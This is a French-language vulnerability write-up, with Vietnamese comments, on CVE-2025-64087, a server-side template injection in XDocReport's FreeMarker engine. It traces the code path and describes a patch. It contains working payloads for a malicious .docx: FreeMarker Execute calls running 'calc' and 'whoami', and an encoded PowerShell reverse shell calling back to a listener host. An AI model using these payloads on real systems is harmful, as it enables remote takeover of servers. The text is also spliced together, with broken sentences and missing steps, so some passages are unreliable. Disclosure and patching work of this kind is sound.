
CVE-2025-64087 (SSTI)
Aperçu de la vulnérabilité
L'injection de modèle côté serveur (SSTI) est une vulnérabilité de sécurité Web qui permet à un attaquant d'injecter du code malveillant dans les modèles (templates) utilisés par les systèmes de gestion de contenu (CMS) et les frameworks Web, afin d'exécuter des attaques à distance, de récupérer des informations sensibles ou de mener des activités d'intrusion dans le système.
SSTI est une variante de la vulnérabilité d'injection (comme l'injection SQL, XSS, etc.), dans laquelle un attaquant exploite l'utilisation de systèmes de modèles pour déployer du code malveillant à distance. Lorsqu'une attaque SSTI réussit, l'attaquant peut exécuter son propre code sur le serveur côté serveur, ce qui lui permet de mener des attaques à distance, telles que la collecte d'informations sensibles, la réalisation d'activités d'intrusion dans le système et l'accès à des ressources non autorisées.
La vulnérabilité SSTI survient généralement en raison de l'utilisation de systèmes de modèles non sécurisés, ou de l'absence de vérification et de traitement des paramètres d'entrée avant de les insérer dans les modèles. Si une attaque SSTI réussit, les conséquences peuvent être graves et causer des dommages importants à l'organisation ciblée.
Impact commercial
La vulnérabilité SSTI peut entraîner de nombreuses conséquences graves, notamment :
Exécution de code malveillant : L'attaquant peut utiliser cette vulnérabilité pour exécuter du code malveillant sur le serveur, lui permettant de voler des données, d'effectuer des actions illégales sur le système, voire de prendre le contrôle complet du serveur.
Divulgation d'informations sensibles : SSTI peut permettre à un attaquant de lire, modifier ou supprimer des fichiers sur le serveur. Si ces fichiers contiennent des informations sensibles, comme des comptes et des mots de passe, l'attaquant peut facilement divulguer ces informations.
Attaque par menaces ou hameçonnage des utilisateurs : L'attaquant peut utiliser SSTI pour mener des attaques par menaces ou hameçonnage des utilisateurs, en modifiant le contenu du site Web ou en ajoutant de faux boutons personnalisés. Si les utilisateurs cliquent sur ces boutons, l'attaquant peut voler leurs informations ou installer des logiciels malveillants sur leurs ordinateurs.
Une vulnérabilité d'injection de modèle côté serveur (SSTI) a été découverte dans OpenSAGRES XDocReport lors du traitement de modèles DOCX avec le moteur FreeMarker. Sous certaines configurations, des modèles fabriqués peuvent conduire à une exécution de code à distance (RCE).
Le site Web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers documents .docx sur le système. Lors du traitement, l'application utilise le moteur de modèles FreeMarker (dans le fichier FreemarkerTemplateEngine.java) pour interpréter le contenu ${"freemarker.template.utility.Execute"?new()("whoami")} sans mécanisme de contrôle ou de filtrage du contenu d'entrée.
Cette vulnérabilité permet à un attaquant d'injecter des expressions malveillantes dans le fichier .docx (modèle), conduisant à une exécution de code à distance (RCE) sur le serveur, et pouvant être exploitée pour voler des informations ou prendre le contrôle du système.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 à 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java n'effectue aucune vérification du contenu du fichier xdoc d'entrée. Le contenu du modèle est chargé directement et passé à process(context, writer, template) pour être traité par le moteur FreeMarker sans aucun mécanisme de sandboxing ni restriction des directives/expressions. En conséquence, un attaquant peut fournir un modèle contenant des expressions/commandes FreeMarker malveillantes, conduisant à une exécution de code à distance (RCE)..docx dont le contenu interne est la charge utile suivante :```
${"freemarker.template.utility.Execute"?new()("calc")}
2. On constate qu'il est possible d'exécuter avec succès et d'ouvrir l'application calculatrice

3. De même, pour récupérer les informations de l'utilisateur en cours d'exécution sur le système avec le payload :```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx, après traitement par le moteur de template, a renvoyé les données du système


6. Augmenter l'impact vers RCE
- La machine d'écoute est wsl avec l'adresse IP `172.26.208.130`

- exploitation avec le payload suivant :
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx est traité via xdocreportxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java, ajouter le contenu suivantMon correctif continue de permettre le rendu normal des objets et propriétés comme ${cuong.name} et bloque uniquement les fonctions intégrées DANGEREUSES
${'freemarker.template.utility.Execute'?new()('calc')} - BLOQUÉ par ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOQUÉ par setAPIBuiltinEnabled(false)?new() et ?api sont bloquéesChemin : template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Modifications :
✅ Import ajouté : java.util.regex.Pattern
✅ Méthode ajoutée validateTemplateSecurity(Reader reader) — Valide les motifs dangereux
✅ Mise à jour de processNoCache() — Validation ajoutée avant la création du Template
✅ Mise à jour de process(String templateName, …) — Validation ajoutée à cette méthode
Chemin : template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Modifications :
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, etc.| Fichier | Type de modification | Objectif |
|---|---|---|
| FreemarkerTemplateEngine.java | Modifié | Ajout de la protection SSTI |
| FreemarkerTemplateEngineSecurityTestCase.java | Nouveau fichier | Teste la logique de validation |
Dans la version 2.2.0, le mécanisme de protection est activé et bloque avec succès les SSTI
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Bibliothèque à importer```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A
Point de départ (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ source chính là file DOCX này — nếu file được người dùng upload/ghi, nội dung template bên trong (FreeMarker syntax) là dữ liệu không tin cậy.```
InputStream input = new FileInputStream(docxTemplate);
→ lire le contenu du fichier à transmettre à XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) analyse (parse) le fichier DOCX, recherche l'entrée/le template dans le DOCX et crée un IXDocReport (à l'intérieur, il initialisera l'objet Template de FreeMarker ou conservera un reader pour le template).
- Le contenu du template dans le fichier DOCX se trouve désormais dans l'objet report (toujours non exécuté).


zipInputStream.getNextEntry() itère sur chaque entrée (chaque fichier) à l'intérieur du ZIP (.docx).
archive = new XDocArchive(...) — si l'archive n'existe pas encore, on initialise un objet pour organiser/enregistrer les entrées du document.

En résumé : cette section décompresse le contenu du DOCX dans une structure interne (XDocArchive) afin que la suite puisse accéder aux fichiers enfants (document.xml, ...)```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Étape | Action | Objectif |
|---|---|---|
| 1 | Lire le fichier DOCX | Obtenir la structure du rapport original |
| 2 | Créer IXDocReport | Représenter le template |
| 3 | Assigner un ID | Gestion unique |
| 4 | Choisir le moteur de template | Pour traiter les expressions (Freemarker/Velocity) |
| 5 | Mettre en cache si nécessaire | Optimiser les performances |
| 6 | Retourner le rapport | Utilisé pour générer le fichier résultat |
En résumé, il n'y a pas de mécanisme de vérification SSTI dans IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker); ; il charge seulement les fichiers XML du docx et retourne un IXDocReport report prêt à être traité (par exemple, rendu, fusion de données…).
à report.process(context, out);
out.IContext) dans les variables du template.out, c'est-à-dire dans le fichier results.docx.en approfondissant à l'intérieur de cette fonction, elle appelle preprocess(...) qui analyse le XML, lit chaque entrée XML, puis parse le contenu XML et crée un BufferedDocument avant de l'écrire dans un Writer (c'est la version XML prétraitée).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

ensuite il saute dans `processNoCache()` et appelle `getReader()`


La fonction `getReader()` est utilisée pour ajouter une directive d'échappement autour de l'ensemble du template, afin de garantir que le contenu est traité de manière sécurisée (échappement HTML, éviter les injections).

Template original:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
Après le traitement de getReader() :```xml [#-- Hello ${name}! [/#escape][#--]]>--]
il aide le moteur Freemarker à lire de manière plus sûre :
- Protection XML : Échapper les caractères spéciaux dans XML
- Traitement sécurisé : Éviter les erreurs lors de l'analyse du template par Freemarker
ensuite appeler `FMParser` pour analyser la syntaxe Freemarker

enfin dans `process()` appeler `environment.process();` et le lecteur de données```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Voici l'étape la plus importante — la partie render se produit réellement.
getTemplate() retourne le template parsé (AST).
getRootTreeNode() est le nœud racine de l'arbre syntaxique créé par FMParser lors du parsing.
visit() est l'API centrale de FreeMarker, utilisée pour parcourir et render chaque élément du template, et définie dans freemarker.core.Environment
Rencontre TextBlock → écrit le texte dans out.
Rencontre Interpolation (exemple ${user.name}) → cherche dans dataModel, récupère la valeur, l'écrit dans out.
Rencontre #if, #list, #include, macro → traite la logique correspondante```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



il déclenche sur entryName `word/document.xml`

ensuite, il saute dans la fonction `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









Le flux d'exécution dans la fonction `visit()` est le suivant```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Résumé des points clés exploitables**
| Étape | Classe | Rôle | Implication SSTI |
| ------------------------ | --------------------- | ---------------------- | --------------------------- |
| `loadReport()` | `XDocReportRegistry` | Charger le template | Input non contrôlé |
| `getReader()` | `TemplateEngine` | Lire les données du template | Peut contenir un payload |
| `FMParser` | `freemarker.core` | Analyser le contenu | La variable `${}` est analysée |
| `Environment.process()` | `freemarker.core` | Rendre le template | Appelle `visit()` pour chaque nœud |
| `visit()` / `eval()` | `freemarker.core` | Exécuter l'expression | **Point SSTI / RCE** |
---
## Documentation
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link